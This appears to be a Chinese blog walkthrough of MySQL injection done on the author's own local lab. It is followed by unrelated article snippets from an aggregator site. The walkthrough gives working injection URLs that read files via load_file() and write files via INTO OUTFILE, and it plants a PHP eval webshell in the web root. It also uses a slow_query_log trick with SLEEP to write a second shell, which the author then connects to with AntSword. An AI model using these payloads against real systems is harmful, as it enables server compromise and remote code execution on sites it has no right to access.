sql 读写注入

root高权限读写注入

load_file 读取文件

 

大姐我真是整了半天都是nullnullnull缝子

结果看了半天这个my.ini是被隐藏的大哥

load_file()读取文件结果为null_mysql load_file返回null解决办法_黑小薛的博客-CSDN博客 

终于读出来了

此时参数值系统变量 secure_file_priv已经被修改

原本此处变量值为 NULL,即没设置允许操作的目录,所以没法导出到文件。

这个变量就可以用来限制操作路径

into_outfile 写入文件

?param=0' union select 1,2,3,4,'a' into outfile 'e:/2.txt'--+

我们可以看到2.txt被写入

我们可以写入一句话木马

?param=0' union select 1,2,3,4,'<?php eval($_POST[a]);?>' into outfile 'D:/phpstudy_pro/WWW/c.php'--+

先检查一下是否上传成功

用蚁剑发现连接成功了v

太搞笑了连接自己

 

那么如果把my.ini内的参数secure_file_priv设置在c盘目录下

secure_file_priv=c:/

我们可以发现我们就只能在c盘进行操作

mysql写马

set global slow_query_log=1;


set global slow_query_log_file='D:\\phpstudy_pro\\WWW\d.php'

D:\\phpstudy_pro\\WWW\d.php---------》shell路径

可以看到有了d.php

select '<?php eval($ POST[a])?>' or SLEEP(1);

但是!!!

我发现如果sleep的少,并不会记录到日志中去

要sleep的久一点

Mysql注入写Shell读文件总结 - FreeBuf网络安全行业门户

select "<?php eval($_POST[aaaaaa]);?>" or sleep(11);

 

可以看一下我们的日志d.php

因为尝试了很多次。。所以有很多

我们可以发现都是sleep(11)的被记录了

蚁剑连一下看看

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/217213.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Redis缓存如何设置时间?

在Redis中&#xff0c;你可以使用SET命令设置缓存&#xff0c;并使用EXPIRE命令设置key的过期时间。以下是一些基本的使用方法 设置缓存值 使用SET命令可以设置缓存值 SET key_name "your_value"这将在Redis中创建一个键为key_name&#xff0c;值为"your_val…

三天精通Selenium Web 自动化 - 项目实战环境准备

1 部署TestNG 返回 TestNG&#xff0c;即Testing Next Generation&#xff0c;下一代测试技术&#xff0c;是一套根据JUnit和NUnit思想而构建的利用注释来强化测试功能的一个测试框架&#xff0c;即可以用来做单元测试&#xff0c;也可以用来做集成测试。更多细节可以到官网去…

MacBook充不了电问题可大可小,但大部分通过简单的排除就可以解决

如果你的MacBook Pro或MacBook Air无法充电&#xff0c;或者充电器不工作&#xff0c;那么随着电池电量的耗尽&#xff0c;让其正常工作可能是在与时间赛跑。在这篇文章中&#xff0c;我们将了解Mac笔记本电脑可能无法充电的可能原因&#xff0c;以及如何修复。 我们还将研究如…

钩不了判断

直言命题 第一种&#xff1a;直言命题&#xff08;<3种元素&#xff09; 所有&#xff08;指所有&#xff1b;范围小&#xff09; 某个&#xff08;特指一个&#xff1b;范围小&#xff09; 有的、有些&#xff08;可以指一个、一部分、所有&#xff1b;范围大&#xff09;…

IEEE CSS 系统辨识与自适应控制工具及资料 - system identification andadaptative control

系列文章目录 前言 一、工具软件 1.1 PBSID Toolbox (Predictor-Based Subspace Identification Toolbox) 通过基于预测器的子空间识别工具箱&#xff0c;您可以对 LTI/LPV/Hammerstein/Wiener 系统进行批量或递归识别&#xff08;开环和闭环&#xff09;。 1.2 LTI Toolbo…

Java实现插入排序及其动图演示

插入排序是一种简单直观的排序算法。它的基本思想是将一个待排序的元素插入到已经排序好的序列中的适当位置&#xff0c;从而得到一个新的、元素个数加一的有序序列。 具体的插入排序算法过程如下&#xff1a; 从第一个元素开始&#xff0c;认为第一个元素已经是有序序列。取…

git常规操作流程(纯命令行操作)和一些注意事项

当你在单位拿到了git仓库,并利用公司给你的OA账号和邮箱完成了你的git基础配置,下面就是使用命令行的无错固定操作流程 如果你很着急,你可以直接跳到最后的总结部分 具体步骤 1.从仓库克隆代码到本地 这里的[codeUrl]就是你仓库的地址,当你在仓库点击图中绿色位置时,剪贴板…

Linux(debian)常用经典运维命令和 Linux Ubuntu运维常用命令

一 、Debian 运维方法 Linux debian系统的运维涉及各种任务&#xff0c;包括系统安装、配置、更新和维护&#xff0c;以及故障的排查和性能优化。下面是一些常用的运维命令&#xff1a; 1&#xff1a;apt-get update #更新软件包列表&#xff0c;这是在安装新软件…

在ros中进行多传感器融合定位

文章目录 1. 简介2. 概念2.1 ROS Nav 堆栈复习2.2 map、odom和base_link2.3 卡尔曼滤波器和传感器融合的动机2.4 协方差3. 实用的传感器融合与robot_localization1. 简介 ROS 中的 robots_localization 包是一个非常有用的包,可以使用各种卡尔曼滤波器融合任意数量的传感器!…

SpringCloud+Consul快速开发示例

简介 本章通过最新的springcloud版本与官方最新consul开源版服务&#xff0c;进行演示&#xff0c;如何快速搭建开发环境和注册与发现服务中心&#xff1b; 本文假设已知具备SpringCloud的基础开发能力&#xff0c;以及提前了解consul服务的使用&#xff0c;因此本文不会详细…

孩子还是有一颗网安梦——Bandit通关教程:Level 9 → Level 10

&#x1f575;️‍♂️ 专栏《解密游戏-Bandit》 &#x1f310; 游戏官网&#xff1a; Bandit游戏 &#x1f3ae; 游戏简介&#xff1a; Bandit游戏专为网络安全初学者设计&#xff0c;通过一系列级别挑战玩家&#xff0c;从Level0开始&#xff0c;逐步学习基础命令行和安全概念…

网络基础(八):路由器的基本原理及配置

目录 1、路由概述 2、路由器 2.1路由器的工作原理 2.2路由器的转发原理 3、路由表 3.1路由表的概述 3.2路由表的形成 4、静态路由配置过程&#xff08;使用eNSP软件配置&#xff09; 4.1两个静态路由器配置过程 4.2三个静态路由器配置过程 5、默认路由配置过程 5.…

python新式类变化统一类和类型

1 python新式类变化统一类和类型 python新式类从2.2版本引入。 &#xff08;1&#xff09;新式类继承内置类型 (比如object&#xff0c;list&#xff0c;dict等)&#xff0c;经典类不继承任何类。 &#xff08;2&#xff09;python2&#xff0c;定义类时&#xff0c;显式继承…

Qt 容器QGroupBox带有标题的组框框架

控件简介 QGroupBox 小部件提供一个带有标题的组框框架。一般与一组或者是同类型的部件一起使用。教你会用,怎么用的强大就靠你了靓仔、靓妹。 用法示例 例 qgroupbox,组框示例(难度:简单),使用 3 个 QRadioButton 单选框按钮,与QVBoxLayout(垂直布局)来展示组框的…

若依框架启动过程中遇到的控制台使用npm i下载相关依赖报错的问题以及前端启动遇到的问题

目录 报错截图问题解决其他问题 npm : 无法将“npm”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。请检查名称的拼写&#xff0c;如果包括路径&#xff0c;请确保路径正确&#xff0c;然后再试一次。问题解决更改环境变量新建系统变量 其他问题 错误解决Error: error:0…

什么是Proxy?

在JavaScript中&#xff0c;Proxy是一种对象&#xff0c;它允许你创建一个代理对象来拦截并改变底层对象的基本操作。使用Proxy&#xff0c;你可以在对象上定义自定义行为&#xff0c;例如&#xff1a; 拦截对对象属性的读取和写入操作拦截函数调用拦截in操作符拦截delete操作符…

Ansible适合的场景是什么?

Ansible将编排与配置管理、供应和应用程序部署结合并统一在一个易于使用的平台上。Ansible的一些主要场景包括: 配置管理&#xff1a;集中配置文件管理和部署是Ansible的一个常见场景。 应用程序部署&#xff1a;当使用Ansible定义应用程序&#xff0c;并使用Ansible Tower管…

美食大赛的题解

目录 原题描述&#xff1a; 题目描述&#xff1a; 输入格式&#xff1a; 输出格式&#xff1a; 样例输入&#xff1a; 样例输出&#xff1a; 数据规模&#xff1a; 题目大意&#xff1a; 主要思路&#xff1a; 注&#xff1a; 代码&#xff1a; 原题描述&#xff1a…

合并表记录

描述 数据表记录包含表索引index和数值value&#xff08;int范围的正整数&#xff09;&#xff0c;请对表索引相同的记录进行合并&#xff0c;即将相同索引的数值进行求和运算&#xff0c;输出按照index值升序进行输出。 提示: 0 < index < 11111111 1 < value < …

Uniapp软件库全新带勋章功能(包含前后端源码)

源码介绍&#xff1a; Uniapp开发的软件库全新带勋章功能&#xff0c;搭建好后台 在前端找到 util 这个文件 把两个js文件上面的填上自己的域名&#xff0c;电脑需要下载&#xff1a;HBuilderX 登录账号 没有账号就注册账号&#xff0c; 然后上传文件&#xff0c;打包选择 “…